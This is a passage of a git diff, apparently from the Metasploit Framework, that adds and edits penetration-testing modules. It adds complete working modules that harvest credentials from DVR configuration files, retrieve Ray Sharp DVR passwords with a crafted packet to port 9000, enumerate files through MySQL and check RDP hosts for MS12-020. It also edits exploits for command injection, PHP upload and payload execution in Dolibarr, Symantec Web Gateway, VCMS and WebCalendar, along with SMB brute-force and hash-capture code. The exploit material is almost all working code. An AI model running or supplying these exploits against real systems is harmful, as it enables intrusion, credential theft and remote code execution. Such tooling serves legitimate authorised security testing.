/DDNS_USER=(.*)/ + user = $1 + end + + if conf =~ /DDNS_PASSWORD=(.*)/ + password = $1 + end + + if hostname.empty? + return + end + + info = "DDNS credentials for #{hostname}, user: #{user}, password: #{password}" + + report_note({ + :host => rhost, + :data => info, + :type => "dvr.ddns.conf", + :sname => 'ddns', + :update => :unique_data + }) + + end + + def get_ftp_credentials(conf) + server = "" + user = "" + password = "" + port = "" + + if conf =~ /FTP_SERVER=(.*)/ + server = $1 + end + + if conf =~ /FTP_USER=(.*)/ + user = $1 + end + + if conf =~ /FTP_PASSWORD=(.*)/ + password = $1 + end + + if conf =~ /FTP_PORT=(.*)/ + port = $1 + end + + if server.empty? + return + end + + report_auth_info({ + :host => server, + :port => port, + :sname => 'ftp', + :duplicate_ok => false, + :user => user, + :pass => password + }) + end + + def get_dvr_credentials(conf) + conf.scan(/USER(\d+)_USERNAME/).each { |match| + user = "" + password = "" + active = "" + + user_id = match[0] + + if conf =~ /USER#{user_id}_LOGIN=(.*)/ + active = $1 + end + + if conf =~ /USER#{user_id}_USERNAME=(.*)/ + user = $1 + end + + if conf =~ /USER#{user_id}_PASSWORD=(.*)/ + password = $1 + end + + if active == "0" + user_active = false + else + user_active = true + end + + report_auth_info({ + :host => rhost, + :port => rport, + :sname => 'dvr', + :duplicate_ok => false, + :user => user, + :pass => password, + :active => user_active + }) + } + end + + def run_host(ip) + + res = send_request_cgi({ + 'uri' => '/DVR.cfg', + 'method' => 'GET' + }) + + if not res or res.code != 200 or res.body.empty? or res.body !~ /CAMERA/ + vprint_error("#{rhost}:#{rport} - DVR configuration not found") + return + end + + p = store_loot("dvr.configuration", "text/plain", rhost, res.body, "DVR.cfg") + vprint_good("#{rhost}:#{rport} - DVR configuration stored in #{p}") + + conf = res.body + + get_ftp_credentials(conf) + get_dvr_credentials(conf) + get_ddns_credentials(conf) + get_pppoe_credentials(conf) + + dvr_name = "" + if res.body =~ /DVR_NAME=(.*)/ + dvr_name = $1 + end + + report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "DVR NAME: #{dvr_name}") + print_good("#{rhost}:#{rport} DVR #{dvr_name} found") + end + +end diff --git a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb new file mode 100644 index 000000000000..af08f4d8c0c0 --- /dev/null +++ b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb @@ -0,0 +1,112 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Ray Sharp DVR Password Retriever', + 'Description' => %q{ + This module takes advantage of a protocol design issue with the + Ray Sharp based DVR systems. It is possible to retrieve the username and + password through the TCP service running on port 9000. Other brands using + this platform and exposing the same issue may include Swann, Lorex, + Night Owl, Zmodo, URMET, and KGuard Security. + }, + 'Author' => + [ + 'someluser', # Python script + 'hdm' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ] + ], + 'License' => MSF_LICENSE + ) + + register_options( [ Opt::RPORT(9000) ], self.class) + end + + def run_host(ip) + req = + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" + + ( "\x00" * 475 ) + + connect + sock.put(req) + + buf = "" + begin + # Pull data until the socket closes or we time out + Timeout.timeout(15) do + loop do + res = sock.get_once(-1, 1) + buf << res if res + end + end + rescue ::Timeout::Error + rescue ::EOFError + end + + disconnect + + info = "" + mac = nil + ver = nil + + creds = {} + + buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred| + # Make sure the two passwords match + next unless cred[1] == cred[2] + creds[cred[0]] = cred[1] + end + + if creds.keys.length > 0 + creds.keys.sort.each do |user| + pass = creds[user] + report_auth_info({ + :host => rhost, + :port => rport, + :sname => 'dvr', + :duplicate_ok => false, + :user => user, + :pass => pass + }) + info << "(user='#{user}' pass='#{pass}') " + end + end + + # Look for MAC address + if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi + mac = $1 + end + + # Look for version + if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m + ver = $1 + end + + info << "mac=#{mac} " if mac + info << "version=#{ver} " if ver + + return unless (creds.keys.length > 0 or mac or ver) + + report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info) + print_good("#{rhost}:#{rport} #{info}") + end + +end diff --git a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb new file mode 100644 index 000000000000..8d371f10ee12 --- /dev/null +++ b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb @@ -0,0 +1,135 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'yaml' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MYSQL + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'MYSQL File/Directory Enumerator', + 'Description' => %Q{ + Enumerate files and directories using the MySQL load_file feature, for more + information see the URL in the references. + }, + 'Author' => [ 'Robin Wood ' ], + 'References' => [ + [ 'URL', 'http://pauldotcom.com/2013/01/mysql-file-system-enumeration.html' ], + [ 'URL', 'http://www.digininja.org/projects/mysql_file_enum.php' ] + ], + 'License' => MSF_LICENSE + ) + + register_options([ + OptPath.new('FILE_LIST', [ true, "List of directories to enumerate", '' ]), + OptString.new('DATABASE_NAME', [ true, "Name of database to use", 'mysql' ]), + OptString.new('TABLE_NAME', [ true, "Name of table to use - Warning, if the table already exists its contents will be corrupted", Rex::Text.rand_text_alpha(8) ]), + OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ]) + ]) + + end + + # This function does not handle any errors, if you use this + # make sure you handle the errors yourself + def mysql_query_no_handle(sql) + res = @mysql_handle.query(sql) + res + end + + def peer + "#{rhost}:#{rport}" + end + + def run_host(ip) + vprint_status("#{peer} - Login...") + + if (not mysql_login_datastore) + return + end + + begin + mysql_query_no_handle("USE " + datastore['DATABASE_NAME']) + rescue ::RbMysql::Error => e + vprint_error("#{peer} - MySQL Error: #{e.class} #{e.to_s}") + return + rescue Rex::ConnectionTimeout => e + vprint_error("#{peer} - Timeout: #{e.message}") + return + end + + res = mysql_query("SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = '" + datastore['DATABASE_NAME'] + "' AND TABLE_NAME = '" + datastore['TABLE_NAME'] + "';") + table_exists = (res.size == 1) + + if !table_exists + vprint_status("#{peer} - Table doesn't exist so creating it") + mysql_query("CREATE TABLE " + datastore['TABLE_NAME'] + " (brute int);") + end + + file = File.new(datastore['FILE_LIST'], "r") + file.each_line do |line| + check_dir(line.chomp) + end + file.close + + if !table_exists + vprint_status("#{peer} - Cleaning up the temp table") + mysql_query("DROP TABLE " + datastore['TABLE_NAME']) + end + end + + def check_dir dir + begin + res = mysql_query_no_handle("LOAD DATA INFILE '" + dir + "' INTO TABLE " + datastore['TABLE_NAME']) + rescue ::RbMysql::TextfileNotReadable + print_good("#{peer} - #{dir} is a directory and exists") + report_note( + :host => rhost, + :type => "filesystem.dir", + :data => "#{dir} is a directory and exists", + :port => rport, + :proto => 'tcp', + :update => :unique_data + ) + rescue ::RbMysql::DataTooLong, ::RbMysql::TruncatedWrongValueForField + print_good("#{peer} - #{dir} is a file and exists") + report_note( + :host => rhost, + :type => "filesystem.file", + :data => "#{dir} is a file and exists", + :port => rport, + :proto => 'tcp', + :update => :unique_data + ) + rescue ::RbMysql::ServerError + vprint_warning("#{peer} - #{dir} does not exist") + rescue ::RbMysql::Error => e + vprint_error("#{peer} - MySQL Error: #{e.class} #{e.to_s}") + return + rescue Rex::ConnectionTimeout => e + vprint_error("#{peer} - Timeout: #{e.message}") + return + else + print_good("#{peer} - #{dir} is a file and exists") + report_note( + :host => rhost, + :type => "filesystem.file", + :data => "#{dir} is a file and exists", + :port => rport, + :proto => 'tcp', + :update => :unique_data + ) + end + + return + end + +end diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index be8b70e14fc4..154c643877f7 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -67,6 +67,7 @@ def mysql_version_check(target="5.0.67") # Oldest the library claims. end offset = 0 l0, l1, l2 = data[offset, 3].unpack('CCC') + return false if data.length < 3 length = l0 | (l1 << 8) | (l2 << 16) # Read a bad amount of data return if length != (data.length - 4) diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb new file mode 100644 index 000000000000..5a16d3685162 --- /dev/null +++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb @@ -0,0 +1,178 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS12-020 Microsoft Remote Desktop Checker', + 'Description' => %q{ + This module checks a range of hosts for the MS12-020 vulnerability. + This does not cause a DoS on the target. + }, + 'References' => + [ + [ 'CVE', '2012-0002' ], + [ 'MSB', 'MS12-020' ], + [ 'URL', 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020' ], + [ 'EDB', '18606' ], + [ 'URL', 'https://svn.nmap.org/nmap/scripts/rdp-vuln-ms12-020.nse' ] + ], + 'Author' => + [ + 'Royce Davis @R3dy_ ', + 'Brandon McCann @zeknox ' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]) + ], self.class) + end + + def check_rdp + # code to check if RDP is open or not + vprint_status("#{peer} Verifying RDP protocol...") + + # send connection + sock.put(connection_request) + + # read packet to see if its rdp + res = sock.get_once(-1, 5) + + # return true if this matches our vulnerable response + ( res and res == "\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00" ) + end + + def report_goods + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => self.name, + :info => 'Response indicates a missing patch', + :refs => self.references + ) + end + + def connection_request + "\x03\x00" + # TPKT Header version 03, reserved 0 + "\x00\x0b" + # Length + "\x06" + # X.224 Data TPDU length + "\xe0" + # X.224 Type (Connection request) + "\x00\x00" + # dst reference + "\x00\x00" + # src reference + "\x00" # class and options + end + + def connect_initial + "\x03\x00\x00\x65" + # TPKT Header + "\x02\xf0\x80" + # Data TPDU, EOT + "\x7f\x65\x5b" + # Connect-Initial + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # callingDomainSelector + "\x01\x01\xff" + # upwardFlag + "\x30\x19" + # targetParams + size + "\x02\x01\x22" + # maxChannelIds + "\x02\x01\x20" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x18" + # minParams + size + "\x02\x01\x01" + # maxChannelIds + "\x02\x01\x01" + # maxUserIds + "\x02\x01\x01" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x01\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maxParams + size + "\x02\x01\xff" + # maxChannelIds + "\x02\x01\xff" + # maxUserIds + "\x02\x01\xff" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x04\x00" # userData + end + + def user_request + "\x03\x00" + # header + "\x00\x08" + # length + "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) + "\x28" # PER encoded PDU contents + end + + def channel_request_one + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x01\x03\xeb" + end + + def channel_request_two + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x02\x03\xeb" + end + + def peer + "#{rhost}:#{rport}" + end + + def run_host(ip) + + connect + + # check if rdp is open + if not check_rdp + disconnect + return + end + + # send connectInitial + sock.put(connect_initial) + + # send userRequest + sock.put(user_request) + res = sock.get_once(-1, 5) + + # send 2nd userRequest + sock.put(user_request) + res = sock.get_once(-1, 5) + + # send channel request one + sock.put(channel_request_one) + res = sock.get_once(-1, 5) + + if res and res[8,2] == "\x3e\x00" + # send ChannelRequestTwo - prevent BSoD + sock.put(channel_request_two) + + print_good("#{peer} Vulnerable to MS12-020") + report_goods + else + vprint_status("#{peer} Not Vulnerable") + end + + disconnect() + end + +end diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index 7ed1b96f4dca..ca6c2f5c2f74 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -164,8 +164,10 @@ def check_hku_entry(key, ip, smbshare, cmd, text, bat) print_good("#{peer} - #{user}") report_user(user.chomp) else - if username = query_session(smbshare, ip, cmd, text, bat) - user = dnsdomain.split(" ")[2].split(".")[0].to_s + "\\" + username.to_s + username = query_session(smbshare, ip, cmd, text, bat) + if username + hostname = (dnsdomain.split(" ")[2] || "").split(".")[0] || "." + user = "#{hostname}\\#{username}" print_good("#{peer} - #{user}") report_user(user.chomp) else @@ -175,7 +177,7 @@ def check_hku_entry(key, ip, smbshare, cmd, text, bat) else print_status("#{peer} - Could not determine logged in users") end - rescue StandardError => check_error + rescue Rex::Proto::SMB::Exceptions::Error => check_error print_error("#{peer} - Error checking reg key. #{check_error.class}. #{check_error}") return check_error end diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 9e5c7e334577..767a140d1ee4 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -31,10 +31,11 @@ def initialize and connected to a database this module will record successful logins and hosts so you can track your access. }, - 'Author' => [ - 'tebo ', # Original - 'Ben Campbell ' # Refactoring - ], + 'Author' => + [ + 'tebo ', # Original + 'Ben Campbell ' # Refactoring + ], 'References' => [ [ 'CVE', '1999-0506'], # Weak password @@ -45,15 +46,18 @@ def initialize deregister_options('RHOST','USERNAME','PASSWORD') @accepts_guest_logins = {} - @correct_credentials_status_codes = ["STATUS_INVALID_LOGON_HOURS", - "STATUS_INVALID_WORKSTATION", - "STATUS_ACCOUNT_RESTRICTION", - "STATUS_ACCOUNT_EXPIRED", - "STATUS_ACCOUNT_DISABLED", - "STATUS_ACCOUNT_RESTRICTION", - "STATUS_PASSWORD_EXPIRED", - "STATUS_PASSWORD_MUST_CHANGE", - "STATUS_LOGON_TYPE_NOT_GRANTED"] + + @correct_credentials_status_codes = [ + "STATUS_INVALID_LOGON_HOURS", + "STATUS_INVALID_WORKSTATION", + "STATUS_ACCOUNT_RESTRICTION", + "STATUS_ACCOUNT_EXPIRED", + "STATUS_ACCOUNT_DISABLED", + "STATUS_ACCOUNT_RESTRICTION", + "STATUS_PASSWORD_EXPIRED", + "STATUS_PASSWORD_MUST_CHANGE", + "STATUS_LOGON_TYPE_NOT_GRANTED" + ] # These are normally advanced options, but for this module they have a # more active role, so make them regular options. @@ -63,7 +67,7 @@ def initialize OptString.new('SMBUser', [ false, "SMB Username" ]), OptString.new('SMBDomain', [ false, "SMB Domain", '']), OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]), - OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]), + OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]) ], self.class) end @@ -98,19 +102,22 @@ def check_login_status(domain, user, pass) connect() status_code = "" begin - simple.login( datastore['SMBName'], - user, - pass, - domain, - datastore['SMB::VerifySignature'], - datastore['NTLM::UseNTLMv2'], - datastore['NTLM::UseNTLM2_session'], - datastore['NTLM::SendLM'], - datastore['NTLM::UseLMKey'], - datastore['NTLM::SendNTLM'], - datastore['SMB::Native_OS'], - datastore['SMB::Native_LM'], - {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}) + simple.login( + datastore['SMBName'], + user, + pass, + domain, + datastore['SMB::VerifySignature'], + datastore['NTLM::UseNTLMv2'], + datastore['NTLM::UseNTLM2_session'], + datastore['NTLM::SendLM'], + datastore['NTLM::UseLMKey'], + datastore['NTLM::SendNTLM'], + datastore['SMB::Native_OS'], + datastore['SMB::Native_LM'], + {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + ) + # Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect: simple.connect("\\\\#{datastore['RHOST']}\\IPC$") status_code = 'STATUS_SUCCESS' @@ -212,13 +219,18 @@ def try_user_pass(domain, user, pass) print_status(output_message % "GUEST LOGIN") report_creds(domain,user,pass,true) elsif datastore['VERBOSE'] - print_status(output_message % "GUEST LOGIN") + print_status(output_message % "GUEST LOGIN") end end + + return :next_user + when *@correct_credentials_status_codes print_status(output_message % "FAILED LOGIN, VALID CREDENTIALS" ) report_creds(domain,user,pass,false) validuser_case_sensitive?(domain, user, pass) + return :skip_user + when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' vprint_error(output_message % "FAILED LOGIN") else diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 8ffe83a4bbb1..346f6f04ac5d 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -24,12 +24,21 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'SMB Local User Enumeration (LookupSid)', - 'Description' => 'Determine what local users exist via brute force SID lookups', + 'Description' => 'Determine what users exist via brute force SID lookups. + This module can enumerate both local and domain accounts by setting + ACTION to either LOCAL or DOMAIN', 'Author' => 'hdm', 'License' => MSF_LICENSE, - 'DefaultOptions' => { - 'DCERPC::fake_bind_multi' => false - } + 'DefaultOptions' => + { + 'DCERPC::fake_bind_multi' => false + }, + 'Actions' => + [ + ['LOCAL', { 'Description' => 'Enumerate local accounts' } ], + ['DOMAIN', { 'Description' => 'Enumerate domain accounts' } ] + ], + 'DefaultAction' => 'LOCAL' ) register_options( @@ -206,6 +215,8 @@ def run_host(ip) :groups => {} } + target_sid = host_sid if action.name =~ /LOCAL/i + target_sid = domain_sid if action.name =~ /DOMAIN/i # Brute force through a common RID range 500.upto(datastore['MaxRID'].to_i) do |rid| @@ -216,7 +227,7 @@ def run_host(ip) NDR.long(1) + NDR.long(rand(0x10000000)) + NDR.long(5) + - smb_pack_sid(host_sid) + + smb_pack_sid(target_sid) + NDR.long(rid) + NDR.long(0) + NDR.long(0) + diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index aeb199f7339e..2488a21d06eb 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -16,7 +16,7 @@ def initialize super( 'Name' => 'UPnP SSDP M-SEARCH Information Discovery', 'Description' => 'Discover information from UPnP-enabled systems', - 'Author' => 'todb', + 'Author' => [ 'todb', 'hdm'], # Original scanner module and vuln info reporter, respectively 'License' => MSF_LICENSE ) @@ -26,6 +26,10 @@ def initialize ], self.class) end + def rport + datastore['RPORT'] + end + def setup super @msearch_probe = @@ -34,7 +38,7 @@ def setup "ST:upnp:rootdevice\r\n" + "Man:\"ssdp:discover\"\r\n" + "MX:3\r\n" + - "\r\n\r\n" # Non-standard, but helps + "\r\n" end def scanner_prescan(batch) @@ -43,10 +47,13 @@ def scanner_prescan(batch) end def scan_host(ip) + vprint_status "#{ip}:#{rport} - SSDP - sending M-SEARCH probe" scanner_send(@msearch_probe, ip, datastore['RPORT']) end def scanner_postscan(batch) + print_status "No SSDP endpoints found." if @results.empty? + @results.each_pair do |skey,res| sinfo = res[:service] next unless sinfo @@ -60,9 +67,57 @@ def scanner_postscan(batch) desc = bits.join(" | ") sinfo[:info] = desc - print_status("#{skey} SSDP #{desc}") + res[:vulns] = [] + + if res[:info][:server].to_s =~ /MiniUPnPd\/1\.0([\.\,\-\~\s]|$)/mi + res[:vulns] << { + :name => "MiniUPnPd ProcessSSDPRequest() Out of Bounds Memory Access Denial of Service", + :refs => [ 'CVE-2013-0229' ] + } + end + + if res[:info][:server].to_s =~ /MiniUPnPd\/1\.[0-3]([\.\,\-\~\s]|$)/mi + res[:vulns] << { + :name => "MiniUPnPd ExecuteSoapAction memcpy() Remote Code Execution", + :refs => [ 'CVE-2013-0230' ], + :port => res[:info][:ssdp_port] || 80, + :proto => 'tcp' + } + end + + if res[:info][:server].to_s =~ /Intel SDK for UPnP devices.*|Portable SDK for UPnP devices(\/?\s*$|\/1\.([0-5]\..*|8\.0.*|(6\.[0-9]|6\.1[0-7])([\.\,\-\~\s]|$)))/mi + res[:vulns] << { + :name => "Portable SDK for UPnP Devices unique_service_name() Remote Code Execution", + :refs => [ 'CVE-2012-5958', 'CVE-2012-5959' ] + } + end + + if res[:vulns].length > 0 + vrefs = [] + res[:vulns].each do |v| + v[:refs].each do |r| + vrefs << r + end + end + + print_good("#{skey} SSDP #{desc} | vulns:#{res[:vulns].count} (#{vrefs.join(", ")})") + else + print_status("#{skey} SSDP #{desc}") + end + report_service( sinfo ) + res[:vulns].each do |v| + report_vuln( + :host => sinfo[:host], + :port => v[:port] || sinfo[:port], + :proto => v[:proto] || 'udp', + :name => v[:name], + :info => res[:info][:server], + :refs => v[:refs] + ) + end + if res[:info][:ssdp_host] report_service( :host => res[:info][:ssdp_host], diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index af2cfc586288..74c5d11bf488 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -614,7 +614,7 @@ def smb_get_hash(smb, arg = {}, esn=true) smb[:domain] ? smb[:domain] : "NULL", @challenge.unpack("H*")[0], nt_hash.empty? ? "0" * 32 : nt_hash, - nt_cli_challenge ? "0" * 160 : nt_cli_challenge + nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge ].join(":").gsub(/\n/, "\\n") ) fd.close diff --git a/modules/encoders/x86/shikata_ga_nai.rb b/modules/encoders/x86/shikata_ga_nai.rb index 6cfeec98ea41..ffc602db844b 100644 --- a/modules/encoders/x86/shikata_ga_nai.rb +++ b/modules/encoders/x86/shikata_ga_nai.rb @@ -111,10 +111,10 @@ def generate_shikata_block(state, length, cutoff) # Clear the counter register clear_register = Rex::Poly::LogicalBlock.new('clear_register', - "\x31\xc9", - "\x29\xc9", - "\x33\xc9", - "\x2b\xc9") + "\x31\xc9", # xor ecx,ecx + "\x29\xc9", # sub ecx,ecx + "\x33\xc9", # xor ecx,ecx + "\x2b\xc9") # sub ecx,ecx # Initialize the counter after zeroing it init_counter = Rex::Poly::LogicalBlock.new('init_counter') @@ -126,8 +126,10 @@ def generate_shikata_block(state, length, cutoff) if (length <= 255) init_counter.add_perm("\xb1" + [ length ].pack('C')) - else + elsif (length <= 65536) init_counter.add_perm("\x66\xb9" + [ length ].pack('v')) + else + init_counter.add_perm("\xb9" + [ length ].pack('V')) end # Key initialization block diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index a2547640a1c2..d295430baa26 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -61,6 +61,7 @@ def initialize(info={}) def check uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' res = send_request_raw({ 'method' => 'GET', 'uri' => uri @@ -114,7 +115,7 @@ def login(sid, token) end def exploit - @uri = normalize_uri(target_uri) + @uri = target_uri @uri.path << "/" if @uri.path[-1, 1] != "/" peer = "#{rhost}:#{rport}" @@ -140,7 +141,7 @@ def exploit print_status("#{peer} - Sending malicious request...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => @uri.path + "admin/tools/export.php", + 'uri' => normalize_uri(@uri.path, "admin/tools/export.php"), 'cookie' => sid, 'vars_post' => { 'token' => token, diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index cd1b6859c8bc..10a211bc1323 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -69,7 +69,7 @@ def check end def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -80,7 +80,7 @@ def exploit print_status("#{peer} - Sending Command injection") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}spywall/ipchange.php", + 'uri' => normalize_uri(uri, 'spywall/ipchange.php'), 'data' => post_data }) diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 58b8c6e90fcc..6a17584b58b8 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -80,7 +80,7 @@ def on_new_session(client) end def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -97,7 +97,7 @@ def exploit print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}spywall/blocked_file.php", + 'uri' => normalize_uri(uri, "spywall/blocked_file.php"), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s }) diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index c04ea190f5ce..8ed47f8b1b22 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -63,6 +63,7 @@ def initialize(info={}) def check uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' res = send_request_raw({ 'uri' => uri, 'method' => 'GET' @@ -78,7 +79,7 @@ def check def exploit peer = "#{rhost}:#{rport}" - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1,1] != '/' @payload_name = "#{rand_text_alpha(5)}.php" @@ -93,7 +94,7 @@ def exploit print_status("#{peer} Uploading payload: #{@payload_name}") res = send_request_cgi({ - 'uri' => "#{base}includes/inline_image_upload.php", + 'uri' => normalize_uri(base, 'includes/inline_image_upload.php'), 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=----x', 'data' => post_data diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index 4bc1f62b3a6a..7e0086bc12a1 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -73,8 +73,7 @@ def check def exploit peer = "#{rhost}:#{rport}" - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1, 1] != '/' + uri = target_uri.path print_status("#{peer} - Housing php payload...") @@ -86,7 +85,7 @@ def exploit post_data << "\n"*2 send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}install/index.php", + 'uri' => normalize_uri(uri, 'install/index.php'), 'data' => post_data }) @@ -95,7 +94,7 @@ def exploit # Execute our payload send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}includes/settings.php", + 'uri' => normalize_uri(uri, 'includes/settings.php'), 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index 4c7fd858007e..e0c28f013938 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -55,12 +55,12 @@ def initialize(info = {}) end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - 'uri' => uri + "docs/changes.txt" + 'uri' => normalize_uri(uri, "docs/changes.txt") }) if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/ @@ -122,7 +122,7 @@ def on_new_session(client) def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -131,7 +131,7 